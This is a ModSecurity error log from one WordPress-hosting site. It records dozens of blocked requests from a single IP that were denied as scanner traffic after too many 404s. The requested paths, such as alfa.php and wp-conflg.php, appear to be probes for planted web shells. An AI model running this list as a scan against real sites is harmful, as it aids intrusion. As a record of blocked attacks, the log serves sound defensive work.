[Sun Mar 01 05:34:14.249254 2026] [:error] [pid 24576:tid 24583] [client 20.104.124.39:1487] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaNfVovfb5CnctJh070HkAAAAQQ"]
[Sun Mar 01 05:34:16.198022 2026] [:error] [pid 8688:tid 8690] [client 20.104.124.39:1450] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aaNfWDHJ4Nn-RvulD0qVEwAAAUA"]
[Sun Mar 01 05:34:18.201079 2026] [:error] [pid 21158:tid 21200] [client 20.104.124.39:1505] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aaNfWjriSIe3-pWnbPbkagAAAEc"]
[Sun Mar 01 05:34:23.116955 2026] [:error] [pid 24576:tid 24585] [client 20.104.124.39:1517] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aaNfX4vfb5CnctJh070HuQAAAQY"]
[Sun Mar 01 05:34:28.787505 2026] [:error] [pid 21159:tid 21224] [client 20.104.124.39:1488] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aaNfZOLi3ouy1NZIkgonYwAAAIM"]
[Sun Mar 01 05:34:48.818823 2026] [:error] [pid 24576:tid 24579] [client 20.104.124.39:1423] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaNfeIvfb5CnctJh070IRgAAAQA"]
[Sun Mar 01 05:34:52.109113 2026] [:error] [pid 8688:tid 8704] [client 20.104.124.39:1417] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaNffDHJ4Nn-RvulD0qWFwAAAU4"]
[Sun Mar 01 05:35:06.825344 2026] [:error] [pid 24576:tid 24603] [client 20.104.124.39:1471] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aaNfiovfb5CnctJh070ItwAAARc"]
[Sun Mar 01 05:35:14.938688 2026] [:error] [pid 8688:tid 8712] [client 20.104.124.39:1479] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aaNfkjHJ4Nn-RvulD0qWpwAAAVY"]
[Sun Mar 01 05:35:17.598181 2026] [:error] [pid 8688:tid 8712] [client 20.104.124.39:1480] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aaNflTHJ4Nn-RvulD0qWtAAAAVY"]
[Sun Mar 01 05:35:18.651565 2026] [:error] [pid 21159:tid 21236] [client 20.104.124.39:17400] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aaNfluLi3ouy1NZIkgonogAAAI8"]
[Sun Mar 01 05:35:21.047852 2026] [:error] [pid 8688:tid 8700] [client 20.104.124.39:1425] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaNfmTHJ4Nn-RvulD0qW2AAAAUo"]
[Sun Mar 01 05:35:21.624999 2026] [:error] [pid 21263:tid 21289] [client 20.104.124.39:1521] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaNfmdAxjzLvN1upBhnp6QAAANY"]
[Sun Mar 01 05:35:22.167876 2026] [:error] [pid 8688:tid 8711] [client 20.104.124.39:1409] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaNfmjHJ4Nn-RvulD0qW5AAAAVU"]
[Sun Mar 01 05:35:23.150156 2026] [:error] [pid 8688:tid 8713] [client 20.104.124.39:1472] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaNfmzHJ4Nn-RvulD0qW7gAAAVc"]
[Sun Mar 01 05:35:24.227980 2026] [:error] [pid 21263:tid 21278] [client 20.104.124.39:17287] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaNfnNAxjzLvN1upBhnp8AAAAMs"]
[Sun Mar 01 05:35:25.386038 2026] [:error] [pid 8688:tid 8702] [client 20.104.124.39:1519] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaNfnTHJ4Nn-RvulD0qXBgAAAUw"]
[Sun Mar 01 05:35:26.915908 2026] [:error] [pid 21159:tid 21234] [client 20.104.124.39:1458] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaNfnuLi3ouy1NZIkgonqAAAAI0"]
[Sun Mar 01 05:35:28.016486 2026] [:error] [pid 21158:tid 21199] [client 20.104.124.39:1508] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaNfoDriSIe3-pWnbPbkwgAAAEY"]
[Sun Mar 01 05:35:31.613222 2026] [:error] [pid 21158:tid 21193] [client 20.104.124.39:1482] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aaNfozriSIe3-pWnbPbkxgAAAEA"]
[Sun Mar 01 05:35:34.229132 2026] [:error] [pid 21156:tid 21176] [client 20.104.124.39:17381] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aaNfpqsaG_9IkG8N2p3sBwAAAAo"]
[Sun Mar 01 05:35:43.383634 2026] [:error] [pid 24576:tid 24587] [client 20.104.124.39:1432] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aaNfr4vfb5CnctJh070JSAAAAQg"]
[Sun Mar 01 05:35:44.244973 2026] [:error] [pid 8688:tid 8712] [client 20.104.124.39:1420] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aaNfsDHJ4Nn-RvulD0qXfgAAAVY"]
[Sun Mar 01 05:35:47.709547 2026] [:error] [pid 8688:tid 8710] [client 20.104.124.39:1438] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aaNfszHJ4Nn-RvulD0qXjgAAAVQ"]
[Sun Mar 01 05:35:49.512061 2026] [:error] [pid 21263:tid 21281] [client 20.104.124.39:17375] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aaNftdAxjzLvN1upBhnqJQAAAM4"]
[Sun Mar 01 05:35:53.350082 2026] [:error] [pid 8688:tid 8690] [client 20.104.124.39:17373] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aaNfuTHJ4Nn-RvulD0qXwAAAAUA"]
[Sun Mar 01 05:35:54.697986 2026] [:error] [pid 8688:tid 8694] [client 20.104.124.39:1433] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaNfujHJ4Nn-RvulD0qXzAAAAUQ"]
[Sun Mar 01 05:35:56.003009 2026] [:error] [pid 21159:tid 21231] [client 20.104.124.39:1511] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaNfvOLi3ouy1NZIkgon6wAAAIo"]
[Sun Mar 01 05:35:57.907624 2026] [:error] [pid 21263:tid 21273] [client 20.104.124.39:1483] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaNfvdAxjzLvN1upBhnqPAAAAMY"]
[Sun Mar 01 05:35:58.598736 2026] [:error] [pid 21158:tid 21198] [client 20.104.124.39:17388] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaNfvjriSIe3-pWnbPblBgAAAEU"]
[Sun Mar 01 05:35:59.390314 2026] [:error] [pid 21158:tid 21206] [client 20.104.124.39:1502] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaNfvzriSIe3-pWnbPblDAAAAE0"]
[Sun Mar 01 05:36:00.638086 2026] [:error] [pid 8688:tid 8706] [client 20.104.124.39:1486] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaNfwDHJ4Nn-RvulD0qYAgAAAVA"]
[Sun Mar 01 05:36:01.438606 2026] [:error] [pid 21159:tid 21226] [client 20.104.124.39:1459] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaNfweLi3ouy1NZIkgon9gAAAIU"]
[Sun Mar 01 05:36:02.352732 2026] [:error] [pid 21263:tid 21288] [client 20.104.124.39:1473] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaNfwtAxjzLvN1upBhnqSQAAANU"]
[Sun Mar 01 05:36:04.368312 2026] [:error] [pid 24576:tid 24591] [client 20.104.124.39:1470] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaNfxIvfb5CnctJh070JkwAAAQs"]
[Sun Mar 01 05:36:07.451873 2026] [:error] [pid 8688:tid 8714] [client 20.104.124.39:1429] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaNfxzHJ4Nn-RvulD0qYMgAAAVg"]
[Sun Mar 01 05:36:10.370740 2026] [:error] [pid 21159:tid 21221] [client 20.104.124.39:1496] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaNfyuLi3ouy1NZIkgooBwAAAIA"]
[Sun Mar 01 05:36:14.849281 2026] [:error] [pid 24576:tid 24580] [client 20.104.124.39:1515] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaNfzovfb5CnctJh070JygAAAQE"]
[Sun Mar 01 05:36:18.194852 2026] [:error] [pid 8688:tid 8700] [client 20.104.124.39:1507] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aaNf0jHJ4Nn-RvulD0qYeAAAAUo"]
[Sun Mar 01 05:36:21.592480 2026] [:error] [pid 24576:tid 24586] [client 20.104.124.39:17376] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aaNf1Yvfb5CnctJh070J2QAAAQc"]
[Sun Mar 01 05:36:27.141111 2026] [:error] [pid 8688:tid 8698] [client 20.104.124.39:1497] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aaNf2zHJ4Nn-RvulD0qYpAAAAUg"]
[Sun Mar 01 05:36:33.480306 2026] [:error] [pid 21263:tid 21271] [client 20.104.124.39:1494] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aaNf4dAxjzLvN1upBhnqiQAAAMQ"]
[Sun Mar 01 05:36:35.227687 2026] [:error] [pid 21263:tid 21267] [client 20.104.124.39:1510] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aaNf49AxjzLvN1upBhnqjwAAAMA"]
[Sun Mar 01 05:36:37.273072 2026] [:error] [pid 8688:tid 8708] [client 20.104.124.39:17368] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aaNf5THJ4Nn-RvulD0qY1wAAAVI"]
[Sun Mar 01 05:38:10.931338 2026] [:error] [pid 21263:tid 21276] [client 20.104.124.39:1477] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aaNgQtAxjzLvN1upBhnrqgAAAMk"]
[Sun Mar 01 05:38:13.111943 2026] [:error] [pid 21263:tid 21274] [client 20.104.124.39:1491] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aaNgRdAxjzLvN1upBhnrrQAAAMc"]
[Sun Mar 01 05:38:14.858744 2026] [:error] [pid 8688:tid 8697] [client 20.104.124.39:1408] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aaNgRjHJ4Nn-RvulD0qb2QAAAUc"]
[Sun Mar 01 05:38:16.505601 2026] [:error] [pid 21263:tid 21291] [client 20.104.124.39:1513] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aaNgSNAxjzLvN1upBhnrtQAAANg"]
[Sun Mar 01 05:38:17.844791 2026] [:error] [pid 8688:tid 8700] [client 20.104.124.39:1422] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaNgSTHJ4Nn-RvulD0qb8QAAAUo"]
[Sun Mar 01 05:38:21.412780 2026] [:error] [pid 24576:tid 24588] [client 20.104.124.39:1427] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaNgTYvfb5CnctJh070L1QAAAQk"]
[Sun Mar 01 05:38:23.299038 2026] [:error] [pid 8688:tid 8694] [client 20.104.124.39:1478] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaNgTzHJ4Nn-RvulD0qcEAAAAUQ"]
[Sun Mar 01 05:38:24.432382 2026] [:error] [pid 8688:tid 8707] [client 20.104.124.39:1514] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaNgUDHJ4Nn-RvulD0qcHwAAAVE"]
[Sun Mar 01 05:38:25.758789 2026] [:error] [pid 24576:tid 24598] [client 20.104.124.39:17389] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaNgUYvfb5CnctJh070L4gAAARI"]
[Sun Mar 01 05:38:28.822862 2026] [:error] [pid 8688:tid 8697] [client 20.104.124.39:17290] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaNgVDHJ4Nn-RvulD0qcNwAAAUc"]
[Sun Mar 01 05:38:34.118106 2026] [:error] [pid 21263:tid 21281] [client 20.104.124.39:1517] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaNgWtAxjzLvN1upBhnr6QAAAM4"]
